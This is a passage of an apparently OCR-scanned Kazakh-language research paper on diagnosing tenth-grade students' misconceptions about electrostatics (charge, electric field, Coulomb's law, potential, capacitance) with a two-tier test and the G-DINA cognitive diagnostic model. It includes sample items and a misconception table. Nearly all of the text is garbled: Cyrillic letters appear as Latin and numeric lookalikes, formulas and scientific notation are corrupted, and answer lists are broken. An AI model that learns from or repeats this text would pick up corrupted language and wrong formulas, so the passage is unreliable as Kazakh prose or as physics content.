dneKTpocTaTMKa GU3MKaNbIK 3epTxaHanapAarbl 3epTTeyNepaiH, ayKbIMblH ©3repTyae KaHe
FbINbIMAbI  KOMLWIiNIKKe TaHbICTbIPyAa MaHbI34bl pen aTKapdbl . IDNeKTPOCTaTMKaHbl 3epTTey
aflaMaapFfa CTaTWMKabIK 3M1EKTP, Kewipme »Kacay, HalM3afal »KoHe YWKbIH CUAKTbl OHbIMEH
HannaHbICTbl KYHAENIKTI KyOblnbicTapabl TyCiHAipyre kemekTeceai. OKylblnapFa KeneTiH 6oscak,
3/1EKTPOCTATMKA 3N1EKTPOMArHETU3MHIH, TeK WafblH 6eniri 6onfFaHbIMEH, OHbIH, apaTblAbICTaHy
binimiHaeri peni maHbI3Abl, OUTKEHI 0N NIEKTPOKMHETUKAHbI 3epTTey YLIiH KaxeTTi wapT 6obin
Tabblnaabl. COHbIMEH KaTap, 3/N1eKTPOCTAaTUKAHbIH, TyXblpbiMAaManapbl MeH KafuaanapbliH TYCiHY
3/1EKTPOCTATMKA eCcenTepiH Welly Ke3iHAe TYKblpbIMAaMasblK OMAay VILiH KaxeTTi wapT 6oabin
Tabblnaabl . Ocblnanwia, OKylWblAap 3N1EKTPOCTaTMKA Typasbl TYXKbIpbIMAAManbIK TYCiHIK anysl
KepeK. 3epTTeyniep KOPCETKeHAEN, OKyLWbINap 3NeKTPoCTaTUKameH BannaHbICTbl TEPMUHAEPAIH,
MafblHacbl Typanbl OiNiMiHIH OKTblFblHAH Hemece TIiNTi KenTereH KaTe TYCiHIKTepi MeH
3N1EKTPOCTATMKA TaKblpbiNTapbl OOMbIHIIA OKyAa KMbIHABIKTAPAbIH 60NybiHAH (MbiCanbl, 3NeKTp
3apAfbl HEMecCe 3/1eKTP epici) KMblHAbIKTapFa Tan 6onaab! .

Ocbl KaTe TYCIHIKTep MeH KMWbIHAbIKTapAbl TYCiHY OKYLIbINAPAbIH, OKbITYFa AENIHri XKaHe
KeWiHri TYCiHiriH cMnatTal anadbl, OKbITYAbIH, TUIMAINIM Typanbl TMICTI aknapaT bepedi. CoHbIMeH
KaTap, Myfanimzep OKyLWblNapAblH, KaTe TYCiHIKTepi Typasbl aknapaTTbl CbIHbINTafbl ic-liapanap
Typanbl NaAanaHa anadbl (OKyWblAapabl OCbl KaTe TYCIHIKTepAi KeHyre AanbiHAaW OTblipbIn), an
OKy bafaapnamacbiH a3ipaeylwinep oKy matepuangapbl Typanbl OKyLWbINAPAbIH KaTe TYCiHIKTepi
Typanbl aknapatTbl KOca anaabl. COHAbIKTAH, *Ofapbl CblHbINTapAa 3/1EKTPOCTAaTUKaHbl OKbITYAb!
YKAKCaPTY YLWiH OKYLWbIAaPAbIH, TYKbIPbIMAAMaAbIK TYCiHIMH AMAarHOCTMKaNay YLLiH Kypan a3ipaey
KaxeT. ®u3mKaHblH, Hacka HenimaepiHeH alblpMallblaiblfbl, 31EKTPOCTaTUKaMeH OalnaHbICTbI
OKYLUbIAPAbIH, TYXKbIPbIMAAMANbIK TYCiHITH AMArHOCTMKaNAyFa apHanfaH Kypanzap a3 6onabl .
OKyWblnapaplH, anekTpomarHetnsm boibiHWa HinimiH 6afanayfa apHanfaH bipHelwe Kypangap
ONlapAblH, Heri3iHAe KaTKaH TeOPUAFa KOHE OHbIH, *KapaMAbliblFbiHA OaMNaHbICTbl OKYLWbIAAPAbIH,
TYXbIPbIMAAMaNbIK TYCiHIMHIH, AeHreniH AMarHocTuMKanayga Kemuiniktepre me. Ocblnaniwa, byn
3epTTeyaiH, MaKkcaTbl 3/1EKTPOCTaTMKa OOMbIHIIA OKYLbIAAPAbIH, TYXbIPbIMAAMA/bIK TYCIHIriH
OMArHOCTUKANAy XaHEe OCbl TECT KypasblH TEKCepy YLWiH OKYLWbINApAblH, CaHAbIK AepeKkTepiHe
CTAaTUCTUKAbIK Tasay »Kypridy YWiH cananbl aicTepi Hap TyXKbipbiMAamasblk TECT KypasbiH
a3ipney 60nbIn Tabblnaabl.

KAMMbl MOJNIIMETTEP

A Teopuanblk Herisaep:

JNeKTPOCTaTMKaNbIK 3aTTblH 3N1EKTP 3apAabl Aen aTanaTblH GU3MKanbIkK KacueTi 6onybl
MYMKIH . DNeKTpocTaTMKa CTaTMKaiblK 3apsaaTapfa KoHe onapablH Hip-b6ipiHe acep eTeTiH
KylwTepiHe KaTbICTbl. Ky/JIOH 3aHbl 371EKTP 3apAdblHbIH, 9Cep eTeTiH KYLWiH ecenteyre MyMKIiHIK
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bepeni. DNEKTP 3apAAbl SNEKTP KYLLiIHIH 9CepiH ce3eTiH aiMaK 3/1eKTp epici peTiHAe aHbIKTa aabl .
dneKTp epici 3apaaTanfaH benwekTepre Kyl acep eTeTiH “areHT” aen 6oaKaHadbl KaHE 0N SNEKTP
KyObINbICTapbIMEH KYPEeCY YLiH bIHFaMAbl “MexaHn3MAai” KamTamachl3 eTefi. DNEeKTPAIK NoTeHLMan
YKOHE 2NeKTPAIK MOTEHUMANAbIK IHEPrns 3NeKTP ©piCiHiH BEKTOP/bIK TabufaTbiHbIH OPHbIHA
CKANAPAbIK LWamanapabl NanganaHaabl KaHe byn KenTereH ecentep YWiH KyWTeH repi nanaans .
KoHaeHcaTop/ap 3apsaaTbl (KoHe, AeMeK, 3N1eKTP 3HEePruAacbiH) KMHaKTay[a MaHbI3abl pen
aTKapadbl KOHE XYMbIC iCTey Hemece 3/1eKTP epiCiH 3epTTey YLWIiH KOAAaHbIAYbl MYMKIH, an
CbIMbIMABINbIK Ke3 KenreH TMNTeri KOHAEHCATOPAbIH 3aPAATbI KAHLWANbIKTbl TUIMAj YCTANTbIHbIHbIH,
“cana kepceTkiwi” 6bonbin Tabblnagpl .

B. OKYLLblNapAbIH, KaTe TYCiHiIKTepi

3epTTeyre 10- cbiHbin oKyuwbinapbl (N=20) KaTbicTbl. Tect 30 cypaKTaH TypAbl, onap
3N1EKTPOCTATMKAHbIH, 6 HEri3r TYXKbIPbIMAAMacbiH KaMTblAbl. CypakTap GOKyC-TONTbIH, KemerimeH
23ipneHai, oraH b6inim Hepy capaniibiiapbl XaHe dU3NKa MyrFanimaepi Kipai. depektepai Tangay
ywiH G-DINA mopeni TaHganabl, eUTKEHI ON KypAeni KOrHWTUBTIK aTpubyTtTapabl Oaranayfa
MYMKiHAIK Bepeni.Kofapblaa anTbiAFaHaAaM, 3N1eKTPOCTAaTUKaHbl TYCIHY VILIH OKYLLUbIAAP 31EKTP
3apALblH, 3/EeKTp ©piciH, KynoH 3aHblH, 3M1eKTPAiK NOTEeHUMANAbIK 3SHEPruaHbl, 3NeKTPAIK
NOTEHUMANAb! }KaHE CblMbIMAbINbIKTbI }KaKCbl MeHrepyi Kepek. bya Takbipbinka HipHelle Makana
apuanaHca fa, Kkeibip 3epTTeylwinep OKyLWbINAPAbIH, KOfapblAa aTanfaH 31eKTPOCTaTUKaAafbl
YFbIMZApP Typanbl KaTe TYCIHIKTEPiH (HeEMece KMbIHABIKTAPbIH) erken-Ternkenni 3eptresi. Mbicansl,
OKYLIbINAP KilUKeHTan 3apsaaTanfaH OObeKTiHiH, V/IKeHre acep eTeTiH TapTblabic Hemece Tebinic
KYLL VIKEH »3He Killi 3apsaaTap KalbIKTbIKNeH DeniHreH Kesae KillKeHTanFa acep eTeTiH V/KeH
ODOBEKTIHIH, TapTbI/IbIC KYWiHEH a3 Aen enecteteqi. bya KaTe TyCiHiKTep Kypanda Aypbic emec (bipak
a3fblpaTblH) KYM3HAI aneMeHTTepai Kypy YWiH Heri3 6onagbl, an 1-kecTefe OKylWblAapabliH,
OfapblAa aTasfaH  TyXblpbiIMAamanapAbl 3epTrey KesiHAeri KaTe TYCiHiKTepi Hemece
KMbIHABIKTapbl }XMHAKTaNFaH.

C. bypblIH 23ip/ieHreH TecTiney Kypangapbl

OKyLWbINapAblH, SNEKTP KIHE MarHeTU3M Typabl TYXKbIPbIMAAMAbIK TYCIHITIH enLwey yLwiH
bipHewe Kypangap a3ipneHai xoaHe Oyn Kypanaapaafbl Kenbip NyHKTTEp OKyWblNapabiH,
971eKTPOCTATMKA Typasibl TYXKbIPbIMAAMAbIK TYCIHIFIH AMArHOCTMKANaM anaabl.

DNEeKTPOCTAaTMKAHbIH TyYXblpbiMAAMabIK TYCIHIrH AMAarHOCTMKaNayfa apHajfaH Kypan
WeHbepiHAe anTbl HEeri3ri TyKblpbiMaama 3epTTendi. bya TyKbipbiMaamanap 31eKTPoCTaTUKaHbI
3epTTey KesiHae OKyLWblI1apAa Wi Ke3aneceTiH Herisri naeanap MeH KaTe yfbiMAapdbl KaMTuabl.
Mbicanbl, 6yn anekTp epici, KynoH 3aHpbl, 31eKTP OpICiHiH, *KYMbICbl, 3apAaATapibliH ©3apa
opeKeTTecyi aHe T.0. cuAKTbl yrbiMaap Honybl MymKiH. Kypangbl »kacay npoueci eKiHwWinik
TYKbIPbIMAAMaNnapabl aHbIKTaydbl »KOHE KeH, Tapa/afaH XaHblAbICTbIKTApAbl €CKepe OTbIpbin
Tancblpmanapapl asipaeydi KaMTblabl, Oya TyXKblpbiMAaManapAbl TUICTi TeCT TancbipManapbiMeH
HannaHbICTbIpaTbiH Q MaTPULACLIH KYPYFa MYMKiHAIK Bepa;.
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Kecte |. 3neKkTpocTaTMKa yFbIMAApbIH YAPEHY Ke3iHge OKylblnapAblH KaTe TYCiHiKTepi
Hemece KWbIHAbIKTapb!.

TyXblpbIMaama KaTe TYCIHIKTep Hemece KMbIHAbIKTap
1.9nekTp 1.1 6oc 3apsaaTap *KOK, COHABIKTAH 3NEKTP TOrbIHbIH, 60/1Maybl
3apAaapl OK(LLay/afbllWTapAblH, ilWiHAE 31eKTp epiciHiH 6onmaybiH binaipea,.

1.2 dnekTpocTaTuKanbiK HblicaHgap 6enTapan HblcaHAapAbl
TapTa anAmanapl.

1.3 OKylUblNap 3N1eKTp 3apaabl bonmaraH Kesae 31eKTp epici
KOK Aen caHanabl.

1.4 3apaaTanfaH HblcaHAApAa Kapama-Kapcbl 3apsaaTapablH,
TeHrepimcisairi emec, Tek 6ip 3apag Typi bonaabl.

1.5 3apsaarTap bipaen 3apag 6enrici 6ap eTKi3riwTep apacbiHaa
bepinmengi.

1.6 3apagtap apacbiHaa 6Oepinedi  Kapama-kapcbl  bHipeyi
belTapan 6onFaHLWa 3apsaaTanFaH eTKisriwTep.

1.7 OKywblnap 31eKTp 3apAATapbiHbIH, KBAHTTbIK KacueTTepi
bap ekeHiH binmena,.

1.8 eki meTann HbicaHAafbl 3apAaATap onapAablH, HacTanksbl
3apaaTapbiHblH, - BenrinepiHe  KapamacTaH  »KaHaCKaHHaH  KeWiH
e3repicci3 Kanaabl.

1.9 6eTapan HblCaHHbIH 3aPA/bl *KOK.

1.10 yMKenic cTaTUKaNbIK 3SNEKTP 3HEPrmACbIHbIH, (Kanfbi3)
cebebi 6bonbin Tabbliagbl.

2. JNneKTp 2.1 3n1eKTp epiciHiH Cbi3blKTapbl 3apaaTanfaH beswekTepain,
epici KO3Fa/bIC *KONbIMEH LLIATACTbIPbIAAAbI.

2.2 OKylblAap 31EKTP BPICiHIH CbI3bIKTapblH OPICTIH, Kenemi,
Kyl Hemece Tbifbl3ablfbl Gap Aen ecenTeWTiH HaKTbl 06beKTinep
peTiHae Kabblnaanabl.

2.3 popmynaHbl TyCiHAIpY, MyHAa TeH BenriHiH, OH, *KafblHAaFbI
LIamanap CoJ *KaKTafbl LamanapabliH cebebi peTiHae KapacTblpblaaibl
(E=F/q).

2.4 OKylWblNap epicTiH KAaPKbIHAbIIbIFbI MEH 3/1eKTP KyLiH
arkblpaTnamnasbl.

2.5 OipTekTi aneKTp epiciHaeri 3apsaaTanfaH beswexkTep
TYPaKTbl *blAAaMablKNeH KO3fanaapl.

2.6 3apAATbIH,  MONAPAbIFbIHA  KapamMacTaH  Ke3-KeareH
3apsaTanfaH besliek anekTp epici barbiTbiHAA KO3Fanaapl.

2.7 epicTiH KapamMa-Kapcbl baFbiTbiHAA KO3FanaTbliH bentlektep
SpKallaH baaynanabl.

2.8 21eKTp epicCiHiH Cbi3biFbiHAAFLl 3apsaTanfaH benwektep
faHa OfaH ylblpanabl (erep 3apsan apKbiabl Cbi3blK ©Tnece, Kyl
bonmanpl).

2.9 3/1eKTp epICiHiH, CbI3bIKTapbl apacbliHAa 6piC *KOK.

150



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark

2.10 oKyLWwblNap *aHa OH 3apAL KOCbIJIFAH Ke34e 31eKTp epici
e3repmeni, bipak Tepic 3apaj KocblnFaH Kesae a3asipl Aen caHanabl.

2.11 OKyLWbl/1Iap 3NEKTP 6PICiHIH CbI3bIKTapbl KMbIJbICbIM, 6TKIp
LeKkapanap Kypa anaapl Aen onnanab.

2.12 epic cbi3bIKTapbl KE3 KeATeH KepaeH bacTanbin, aakTanysi
MYMKIiH YX9He 0/1apAblH, CaHbl SpUHE.

2.13 27eKTp KylTepi KopluafaH OpTaHbl KaXeT eTnecTeH
KaLWbIKTbIKTa 9peKeT eTei.

2.14 oKyLLbINap BEKTOPAbIK KOCYAbl KOMA4aHa OTbIpbIM, KyWTep
MeH epicTepaiH, cyneprno3unumsacel Typaibl OinaHa anamanap.

2.15 oOKywblnap 31eKTp 6epiciHiH acepiHeH 3apAaaTanfaH
benliekTepaiH apeKkeTiH 6oKan anmanap.

2.16 OKyWblNap  3N1eKTP  KYLWIiHiH  WwamacblHaa  epic
CbI3bIKTaPbIHbIH TbIFbI3AbIFbIH KEpCceTNenai.

2.17 aneKTp epicTepiHiH, BEKTOP/bIK / CKanap/bIK KacueTTepiHe
KaTbICTbI LLATacynap.

3. Ky/oH 3aHpbl

3.1 oKylUblIap YAKEH 3apAaaThbl HbiCaHAap KillipeKk HbicaHaapFfa
Kebipek acep eTeai Aen caHanabl.

3.2 3apsf WamacbiHblH, acepi MeH 0o/apAblH, apacbiHAafbl
KaALWbIKTbIK Typasbl LWaTacy.

4.9neKTpAik 4.1 aKkBMNOTEHUMANAbl BeTTeri »on Heryp/biM yiKeH 6osca,
noTeHUMANAbIK, COFYP/IbIM Ko KYMbIC KaxkeT 6onagbl.
SHeprua
4.2 OKylbIIAap OH, TEPIC XIHEe HO//IK XYMbIC *KaFaaniapblH
aHbIKTalM XaHe TyCiHAipe anmanapl.
4.3 OKyLWWblNap 3NEKTP 6pICi CbI3bIKTAPbIHbIH, ANArpaMmmanapsl
Heri3iHAEe *KYMbICTbl aHbIKTaM a/IManabl.
4.4 oKyLWbINAp 3NEKTP NOTeHUMANAbl MEH SHEPr1A apacbiHAAFbI
HannaHbICTbI TYCiHOenA,.
4.5 okylWwblnap anbipmallbiablK (A) yFbIMbIH Xibepin anagpsl, by
bopmynaHbliH, KonaaHbNybiH basynataap (E = AV/AX x V/x).
5.9neKTphik 5.1 oKylWwblnap NoTeHUMANAbIH 63repyi apKblabl 91EKTP 6PICIHIH,
noTeHuMan OafbITbIH aHbIKTal aiManabl.

5.2 canbICTbipManbl TYPAE *KOFAPbl KOHE TOMEH NOTEHUMANAbI
CoMKecCiHIWIe OH »KdHe Tepic 3apagTtanfaH  HenwekTepmeH
HannaHbICTbIpaabl.
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5.3 oKyuwblnapabiH, ~Kenwiniri sHeprna Hemece 31eKTp
©piCTEPIHIH, alNblPMaLbINbIKTAPbIH 3KBMMNOTEHLMANABIK CbI3bIKTAPAbIH,
TapanyblHaH WblFapa aAMaiabl.

5.4 OKyWwblNnap 3SKBUMOTEHUMANAbl KOHE 3NeKTp epici
CbI3bIKTaPbIHbIH, KOPIHICTEPIH WaTacTbipabl.

5.5 21eKTp NOTeHUMaNbIHbIH BEKTOPAbIK /  CKanap/biK
KacueTTepiHe KaTbICTbl LaTacynap.

6. 6.1 CbIMbIMAbINbIK TYXKbIPbIMAAMACh! 3apsATaiMaraH AeHenep
CbIMbIMAbINbIFbI YLLIH MafblHaCbl KOK.

6.2 OKyWblAap JAeHeHi 3apaaTtay npoueciHae He 6Honbin
aTKaHbIH TyciHOen,.

6.3 eTKisriwTepaiH eki napannenb NAAaCTUMHACLIHbIH, apacbiHa
OK(LLI@Y/1afbllWTbl eHri3y 3apaaTbiH, 6ip NaacTMHadaH eKiHuiciHe eTyiHe

won 6epmey apKblibl *KYMEHIH, CbIMbIMAbIAbIFbIH TOMEHAETE,.

Tankblnay, LWWeKTeynep XaHe nepcnekTneanap

annbl anfaHaa, KOTHUTUBTIK AMArHOCTUKaNbIK BafanayablH eH Kosialabl moaeni TuicTi
napameTpaepai 6afanay apKbiibl KOTHUTUBTIK AMArHOCTMKanblK b6aranayabiH bipHewe Hanama
mMmodenbaepiHeH Tanaanaapl . Ocblnaniua, by 3epTTeyae eH *KaKkCbl MOAENb KeNeci aiTbl HyCKaaaH
Kipic AepekTepi HeriziHAe Tanaanabl, onap Q MaTpUUACbIH KaHe apbip NyHKT OOoMbIHLWA
OKYLLUbITApAblH, XayanTapbl Typanbl Aepektepai kamtuapl: DINA moaeni; DINO moaeni; ACDM
mogeni ; rRUM moaeni; HO-DINA mogeni ; »kaHe G-DINA mogeni .

Ocbl 3epTTeyae o3ipAeHreH KypangblH HEerisri NpUHUMNI - 0N 3NEeKTPOCTAaTUKaHbIH,
TYXKbIPbIMAAMabIK TYCiHiriHe 6alMnaHbICTbl OKYLbINAPAbIH, KOTHUTUBTIK KYLLUTI *KaHE 9/1Ci3 KaKTapbl
TYPasibl EMKEN-TEMNKENNI HITUMKENEPAi YCbiHaAbl. D3ipaey NPOoLEC eki Ke3eHHeH Typadbl: Kypanabl
YKacay KaHe pacTay.

O3ipsiey KeseHiHe KeneTiH 60ocaK, andblMeH eKiHWi PeTTiK TyKbipbiMaamanap (Mbicasbl,
YYMbIC 3HE 3/IEeKTP epici) aHbIKTaNadbl; COAaH KeNiH onapablH, KaTe TYCIHIKTEPiH eckepe oTbipbIn
TancbipManap acanagpl. Kate TyCiHIKTep MeH TecTinik Tancblpmanap apacbiHAafbl 63apa
b6annaHbicTap CDA mMofenbAepiHiH, Kipic aepektepi 6onbin TabbinaTbiH Q MaTpuuUacbiHAA
CaKTanaabl. byn KeseHAe eKiHWIi pPeTTiK TyXblpbiMAamanap b6inim bepy KoHe AWMAAKTUKANbIK,
capanuibinap aHbIKTanabl, 0NapAblH XaHaAaH KeareHaepre KaparaHaa TePeH, TYKblpbIMAaMasblK
TYCiHiri 6ap, aHe OCbl TyXblpbIMAaManapfa KaTbICTbl KaTe TYCIHIKTep KO/AAaHbICTafbl
3epTTeynepaiH, HerisiHae KopbiTbiHAbIaHaAbl. Tanceipmanap bip 3epTTeyuwiHiH, faHa emec, opTa
MeKTeNTiH dU3MKa MaHiHIH, MyFanimi meH 6inim Bepy canacbiHAafbl 3epTTeyliciHeH TypaTbiH
doKyc-TonneH a3ipneHesi. byn npouecc »ayantapabl eHAey npoLleaypackiHbiH, 6ip 6eniri 6onyra
MYMKIiHAIK 6epeTiH TeCT Ma3MyHbIHbIH, canacbiH OapblHLLIA XaKcapTydbl KAMTamachI3 eTTi .

PacTtay KeseHiHAe MOAEeNbAiH CIMKECTIriHIH YW AeHreni apKblibl €H, »akCbl MOAe b
TaH4anadbl: MOAE/b, 3NEMEHT XaHe Keke AeHren. CoHbIMeH KaTtap, Kypan 3/eMeHTTepAiH,
Canachbl, TeCTTiH *annbl CeHIMAINIT, KypandblH KYpPbl/biMbl oHe AMArHOCTUKANbIK HITUXKenepi
bolblHWaA pacTanagpl. EH Xakcbl modenbdi TaHAay MOAENbAiH TeCT, 3/IEMEHT KaHe TecT
HaTMXEeNepi MeH OKyLWblNapablH, HaKTbl TYXKblpbIMAAMAsbIK TYCiHIr apacbiHAafbl AeHreniHaeri
[epeKTepre calKec KenyiH KamTamacbis eTeai. Keneci Tangay AMarHOCTUMKaNbIK ecentepaiH,
OKYLLUbINAPAbIH TYXXbIPbIMAAMabIK TYCIHITIH CEHIMAi KaHe AypbIC KepceTeTiHiHe Keninaik bepeai.

Rofapblga cunaTTanfaH Npouecc NneH AMarHoCTMKabIK ecenTepAiH CceHimAainiri meH
KapamMablNblFbIHbIH, A2/1eN4epiH Tanday OCbl 3epTTeyae 93ip/IeHreH KypandblH 31eKTPOCTaTUKa
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canacblHAAFbl OKYLWbIAAPAbIH TYKbIPbIMAAMabIK TYCIHITIH aHbIKTaY VLWiH, 491 XaHe CeHIMAi Kypan
eKeHiH pacTanapl.

[ereHmeH, 3epTTeyaiH, lWeKkTeynepi e 6ap. bipiHwigeH, 7-ecenteri CDA mozaeniHeH
anblHFaH anemeHTTiH  Kemcityi 0,30-gaH  TemeH, Oyn  TancblpmaHblH, —©3iHiH Ke3aenreH
KNaccuuKaumanbiK peniH opbiHAaMaybl MyMKiH AereHai bingipeai. Pokyc-TonTarbl 3epTTeyuinep
OKylblNap 6yn cypakka Aypbic kayan H6epy yWiH 31eKTp epicTepiH TyCiHyae Ky3blpeTTi 60nybl
KepeKk AereHre KeniCKeHIMeH, onap Kyl MeH KO3fanblC apacbiHAafbl KaTblHACTapAbl Taadayfa
KemekTeceTiH HbtoTOH 3aHblHAa (acipece HbOTOHHbIH, eKiHLLI 3aHbliHAa) KY3blpeTTi 6onybl Kepek
(kenTereH oKylblNap HbIOTOH 3aHbl Typanbl BinimiHiH XeTicneyiHeH Oy cypakka Aypbic emec
»ayan bepenj). Kypan oKyLblnapabiH 31eKTPOCTaTUKa CanacbiHAAFbl TYXKblPbIMAAMA/bIK, TYCiHIriH
AMarHOCTMKaNayfa apHanfaH, Kyl MNeH KOo3falbiCKa emec, COHbiMeH bipre Oyn Kemuinik
KyY3bIPETTINIKTI KnaccupuraumanayabliH A9A4iri MeH ceHimainirine acep ete anmanapl. COHAbIKTaH,
7-Tancblpma TOMEH KeMCITy MaHiHe ne 6onca aa, KypanaaH ansiHbanapl.

ExiHwineH, G-DINA mopeni »anfaH TemeH OaranapiblH *KOFapbl yAeciH KepceTTi, byn
OKylblnap 6apnblk anbiHFaH aTpubyTTap OoMbiHWA Ky3blpeTTi BbonaTtbiHbiH, Bipak Tancbipmara
)ayan 6epe anmalnTbiHbIH Binaipeai, 6yn Kofapbl AeHrenni oKyLblnapabl TemeHaeTin bafanayfa
aKenenj. lereHMeH, CoMKecci3aik MaHpbI3abl eMec Aen TaHblAAbl, OUTKEHI TOMeHAeTin baFanaHfaH
YKOFapbl AeHrenNi oKyLbinap 6apabik Aafablnap OoMbiHLA Ky3blpeTTi 60abIN XKikTeneai. "ofapblaa
ANTbINFAH KY3bIPETTINIKTI KNnaccuduKaumanayabiH 434N MeH CeHIMAINIM MYHbI pacTaiabl.

YWiHWigeH, TecT HaTUKenepi OKylWblnapabliH, Tectre opTtawa 6anbl 42,4% KypanTbiHbIH
KepceTedi aHe ipikTemeneri OKylWbINapAblH, *KapTbiCbiHAH Kebi ani MeHrepmereH KenTered
TYXKblpbiMZAamanap 6ap, 0N TECT apKblNbl aHbIKTaNAbl. Byn HATUKeE TECT OKYLbINAP YLLIH HKETKINIKTI
KypAeni eKkeHiH KepceTteai. [ereHMeH, KOAAaHbICTafbl 3epTTeynepaeH KOopbITbIHAbINAHFAH
YKaHbINbICTbIKTAP 3N1EKTPOCTAaTUKAHbI TYCIHY VLLIH KeHY KaXKeT *KaHblbICTbIKTap 60/bIn Tabblnaabl
YOHE TeCTTiH, KypAeniniri CeHiMAINIK TandayblHbIH HITUMKENEPIMEH pacTa/ifaH KnacCuPuKaumaHbIH,
TYPaKTbIAbIFbl MeH aangirine acep etneqi (VI kecTeHi KapaHbi3). [JemeK, TecTTiH, Kypaeniniri
OKYLIbINAPAbIH, ~ 3N1EeKTpoCTaTMKafa 6OalnaHbICTbl  TYXKbIpbIMAAManapabl  YCTipT  TyCiHyimeH
HalnaHbICTbl 60/1Ybl MYMKIH, HaLLlap *KacanfaH TancbipmanapmeH emec.

Mblican:

1-cypak: Hertpanabl metann chepa, A aen benrineHreH XaHe OH 3apAATanfaH mMeTann
chepa, B aen benrineHreH. A chepachl B chepacbiHa KaHacaapbl, codaH KeriH B anbictaTbliagabl.
opi Kapal, belTapan wu30nATOpP cypeTTe KepceTinreHaen C HyKTeciHe OpHanacTbipbliaabl.
Bentapan umsonatopablH 60nybl A chepachl KacalTblH NEKTP epiciHe acep eTnenai »kaHe A
HYKTeNiK 3apaa peTiHAe KapacTblPblaybl MYMKIH Aen ecentenik. TomeHaeri MoHAEpAiH Kancbicbl D
HYKTEeCIHAEri 3N1eKTp epICiHiH, Wamacbkl 60ybl MYMKiH?

(A)O
B) k x 2.4x107"° / d?

C) kx2.4x10™° / d3

D) kx2.4x107" / d

E) k x 4x107"7 / d?

F) k x 4x107" / d®

G) kx4x1077 / d

H) Ci3aiH, kayabblHpi3:

Q1.A Q1 xkayabbliHa ceHimainik 6arachbl
(A) *an FaHa boaxKan oTblpMbIH
(B) ©Te ceHimcizbiH

(C) CeHimpaj emecniH

(D)

(

(
(
(
(
(
(
(

D) CeHimAaimiH
E) ©Te ceHimaimiH
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(F) TonbIFbIMEH CeHIMAIMIH

Q1l.B Ql kayabblHa fblablMK Herizgeme

(A) EwKaHOan epKiH 3apsaj KOK, COHAbIKTaH M30M1ATOPNAPAbIH, illiHAE SN1EKTP epicCi oK.
Hemek, D HyKTeciHAeri aneKTp epiciHiH, Wwamackl 0-re TeH.

(B) Ci3aiH, HerizgemeH,is:

Q1.C Ql.BxayabblHa ceHimainik bafacel
A) Xalt raHa 60/1)Kan OTbIPMbIH
B) ©Te ceHimcizbiH
C) CeHimai emecniH
D) CeHimaimiH
E) ©Te ceHimaimin
F) TonblFbiMeH ceHimaimin

2-cypaK: Cxemaaa KOPEKTEHAOiPY KO3iHEH, aXbIPATKbILWTAH KaHe KOHAEeHCaTOpAaH TypaTbiH
Tizbek KepceTinreH. KoHaeHcaTopAblH CbiMbiMabINbIFbl C-Fa TeH. AXbIpaTKbiWw t1 yakblTbiHAA
Kocblnagpl, t2 yakbiTbiHA@ ewipineai. CogaH KeliH t3 yakbITblHA@ €Ki napannenb eTKi3riw
TaKTalanapablH apacbiHa M301ATOP CanblHaAbl. COHbIHAA, aXKblpaTKbIW t4 yakbITbiHAA KOCbIAAbI.
Byn npouecte C CblMbIMAbINbIFLI 9PTYPAI Onepaumanapra 6aMnaHbICTbl ©3repyi MyMKiH. t1, t2, t3,
t4 yakbITTapblHAaFbl KoHAeHcaTopabiH C cbiibimabliabiebl C1, C2, C3, C4 peTiHae benrineHren. C1,
C2, C3, C4 »kaHe C wamanapblHblH, KaTblHACblH aHbIKTaHbI3.

(A)C1=C;C2<(C;C3<(C;C4<C
B)C1=C,C2=C,C3>C;C4>C
E

—_—~ e~~~ —~ —

C)C1=C;C2=C,C3<(C;C4<C
D)C1=C;C2<(C,C3<(C,Ca>C
) Ci3aiH, *kayabbiHbi3:
Q15.A Q15 kayabbliHa ceHimainik 6aracsl
A) ¥alt FaHa 6o/1Kan OTbIpMbIH
B) ©Te ceHimci3biH
C) CeHimai emecniH
D) CeHimaimiH
E) ©Te ceHimaimin
F) TonblFbiMeH ceHimaimin
Q2.B Q15 kayabblHa fblnblMK Herizgeme
(A) CblMbIMAbINbIK VFbIMbI 3apAATaiMaraH AeHenep YiliH MafbiHacbkl oK. COHAbIKTaH,
aXKblpaTKbILW oLWipinreH Kesge, cbiMbiMablabik O-re TeH 6onagbl. EKi napannenb eTKI3rilWTiH
apacblHa M30MATOP Ca/iblHFAH Ke3ae, MYMeHiH CblMbIMAbIAbIFbI a3aadbl, ©MTKeHI nlonatop 6ip
TaKTallagaH ekiHLiciHe 3apaaTbiH 6epinyiHe Keaepri KeATiPin, HAKTbl 3NEKTP TOTbIHbIH, ©TYiHE KON
bepmena.
(B) Ci3aiH, HerizgemeH,i3:
Q2.C Q2.B »kayabbiHa ceHimainik baracobl
(A) Hat raHa 6o1xKan OTbIPMbIH
(B) ©Te ceHimci3biH
(C) CeHimaj emecniH
(
(

(
(
(
(

—_ e~~~ —~

D) CeHimaimiH

E) ©Te ceHimaimin

(F) TonblFbIMEH ceHiMAIMIH

"Tecm 30 ken maHOaysbl CYPaKkmaH myposi, 0/1ap0biH dPKALCbICL 3AEKMPOCMAMUKAHbIH
6 Hezizei myxcbipbiMmOamacsiH (3apsad, epic, KyanoH 3aHbl, mM.6.) #aHe OKywbslaapobiH Kame
myciHikmepiH 6aranaliosl. CypakmapOsiH yaeinepi folaeimu adebuemmepoeai 3epmmeynepae
HeeizoeneeH."
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TecT HaTUKenepi oKylwblnapabiH, 60%-biHAQ 2/71EKTP epici MeH NoTeHUMan apacbiHAAFbI
HannaHbICTbl TYCIHYAE KMbIHALIKTap 6ap ekeHiH KkepceTTi. byn 4.4 xaHe 5.3 KaTe TYCiHIKTepiHiH
MinirimeH pactanagpl.

OpuHe, KuBMHMEMM KoHe Oackanap YCbIHFAHAAM, TECT XKeTKiNiKTi anddepeHumanibl
bonca, con «TbiM KypAeni» TecT OKylblIapAblH anAblH ana TecTTeH KeWiHri TecTKe AeniHri
nporpeciH 6akplnay ywiH OHTaMAbIpaK 601ybl MYMKIH.

Ocblnaniia, 6yn TecT oKyl blIap YLWiH KeTKiNiKTI Kypaeni 6onca ga, o OKylblAapabiH
3/1EeKTPOCTATMKaHbI TYCiHYiH enley yWiH narnaansl Kypan 6onbin Tabbinagsl. KopbiTeiHAbINGM Kene,
byn 3epTTeyae wekteynep 6onca aa, Bi3AiH KYMbICbIMbI3 CbIHbINTA TYXKbIPbIMAAMAbIK TYCIHIKTI
6aranay ywiH CDA xaHe G-DINA TaciniH KongaHyablH bIKTUMaA MyMKIHAIKTEPIH KapacTbipabl.

OcCbl  »KYMbICTbIH, H3TMXeCi «3nekTpocTtatvka» 6enimi HBOMbIHLWIA OKbITY YKYMECiHiH,
